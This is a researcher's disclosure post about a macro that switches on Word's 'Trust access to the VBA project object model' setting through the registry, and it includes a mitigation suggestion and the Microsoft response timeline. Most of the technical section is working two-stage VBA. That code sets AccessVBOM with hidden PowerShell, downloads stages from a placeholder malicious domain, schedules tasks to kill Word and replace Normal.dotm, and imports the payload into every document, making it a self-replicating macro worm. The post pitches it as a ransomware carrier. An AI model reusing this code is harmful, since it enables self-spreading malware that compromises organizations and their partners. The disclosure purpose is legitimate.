MS Office Security protection bypass allows the creation of “Self-replicating Macro-based Malwares”

Brief history

After the proliferation of infamous Macro Viruses (e.g. Melissa), more than a decade ago Microsoft implemented a security protection that should have blocked the possibility to create again self-replicating code called “Trust access to the VBA project object model”.

In fact, according to the explanation available at the URL: https://technet.microsoft.com/en-us/security/cc165610.aspx, “Trust access to the VBA project object model , disallow or allow programmatic access to the Visual Basic for Applications (VBA) object model from an automation client. This security option is for code written to automate an Office program and manipulate the VBA environment and object model. It is a per-user and per-application setting, and denies access by default, hindering unauthorized programs from building harmful self-replicating code. For automation clients to access the VBA object model, the user running the code must grant access. To turn on access, select the check box.”

Findings: Ability to bypass the limit to create self-replication macro code

We found that it is possible to create a macro that enables the “Trust access to the VBA project object model” flag. It will then be possible to create self-replicating code, obtaining a new and working version of the infamous Melissa Macro Virus.

Substantially, it looks like Macros were put in a cage, locked down, but the key was forgotten inside the cage.

Technical description

Once “Trust access to the VBA project object model” flag is checked, the registry key named “AccessVBOM” available inside “HKCU:\Software\Microsoft\Office\<<version>>\Word\Security”, will be set to “1”.

Powershell to the rescue!

The following simple snippet of VBA macro code changes the value of the registry, allowing to create self-replicating code:

Dim enableTrust As Variant

Trust = “powershell Set-ItemProperty -Path “”HKCU:\Software\Microsoft\Office\15.0\Word\Security”” -Name AccessVBOM -Value 1″

enableTrust = Shell(Trust, 0)

The change has effect only after the restart of the Word process, however this is not a big deal. It was possible to create a 2-stage attack that can exploit this vulnerability in order to create a self-replicating Macro Virus:

First stage code

‘download of the second stage (a malicious normal.dotm)

Dim ExecDown As Variant

Dim Download As String

Set oShell = CreateObject(“WScript.Shell”)

strHomeFolder = oShell.ExpandEnvironmentStrings(“%APPDATA%”)

FileName = strHomeFolder & “\Microsoft\Templates\Normal.dotm”

FileName2 = strHomeFolder & “\Microsoft\Templates\Normal2.dotm”

Download = “powershell Invoke-WebRequest -Uri “”http://<<malicious-domain>>/stage2″” -OutFile ” & FileName2

ExecDown = Shell(Download, 0)

‘scheduling of a task that substitute original normal.dotm file with the malicious one

Ora_X = TimeValue(“” & Hour(Now) & “:” & Minute(Now) + 1 & “:” & Second(Now))

PKill = “Schtasks /Create /SC ONCE /ST ” & Ora_X & ” /TN “”PKillTask”” /TR “”taskkill /f /t /im winword.exe”” /F”

Ora_Y = TimeValue(“” & Hour(Now) & “:” & Minute(Now) + 2 & “:” & Second(Now))

ExecPKill = Shell(PKill, 0)

Substitution = “SchTasks /Create /SC ONCE /ST ” & Ora_Y & ” /TN “”SubstitutionTask”” /TR “”cmd /c copy ” & FileName2 & ” ” & FileName & ” /Y”” /F”

ExecSub = Shell(Substitution, 0)

Second stage (normal.dotm) code

‘download of the first stage

Set oShell = CreateObject(“WScript.Shell”)

strHomeFolder = oShell.ExpandEnvironmentStrings(“%APPDATA%”)

moduleName = strHomeFolder & “\Microsoft\Templates\stage1.bas”

Download = “powershell Invoke-WebRequest -Uri “”http://<<malicious-domain>>/stage1″” -OutFile ” & moduleName

ExecDown = Shell(Download, 0)

‘importing and saving the malicious code inside the active document

Dim thisTarget As Document

Dim thisName As String

Set thisTarget = ActiveDocument

thisName = thisTarget.FullName

thisTarget.SaveAs2 newName & “.doc”, _

FileFormat:=wdFormatXMLDocumentMacroEnabled

thisTarget.VBProject.VBComponents.Import moduleName

ActiveDocument.Save

Attack scenario

It is possible to weaponize the code above to create, for example, a targeted “clock bomb” that encrypts all affected system files for ransom purposes. In order to be effective, it is sufficient to lure a company’s employee to execute the macro of a first malicious document to trigger a vicious cycle in which any document sent by him/her (that will become a trusted source for other company’s employees and also for employees of any business partner or supplier) becomes the attack vector. Of course, any new victim becomes the new infection-spreader.

A video of a working Proof of Concept of a self-replicating Macro-based Ransomware we created in just a few days of work will be presented by me during the 8° Italian national conference on Cyber warfare.

Possible mitigation

Technically speaking, in order to (partially) mitigate the vulnerability the suggestion I gave to MS is to move the AccessVBOM registry key from the HKCU hive to the HKLM, making it editable only by the system administrator.

However, it looks like no patch will be delivered by MS (set out below is the responsible disclosure chronicle to MSRC Microsoft Security Response Center).
That means that the only real protection is, as usual, your paranoia level: don’t enable Macros if you are not pretty sure they are legitimate, even if the documents are coming from trusted sources. Verifying the identity of the sender and that the visible content is what you were expecting to receive is no longer enough, because the sender could be involved in spreading malicious documents without being aware of it.

Responsible disclosure chronicles

  • First contact with Microsoft Security Response Center (MSRC): 10/16
  • Sent report & a video PoC to MSRC: 10/17
  • Confirmation of the opening of a ticket for the investigation on the finding from MSRC: 10/17
  • Message informing MSRC closed the investigation: 11/01

 

Here the message coming from the MSRC:
“Hi Lino,

We have completed our investigation and found that this doesn’t appear to be a security vulnerability issue as it’s how it works by design. We anticipate no further action on this item from MSRC and will be closing out the case.”

TrendMicro discovery

According to their post, TrendMicro recently identified Self-Replicating, Document-Encrypting Ransomware called “qkG Filecoder”, probably originating from Vietnamese crooks.

That means the vulnerability we reported to MS and that they refused to accept, could have already become a threat “in the wild” or it may become a threat soon. Hope MS will think about it.

Author:
Lino Antonio Buono
Technical Department Coordinator & Head of R&D Labs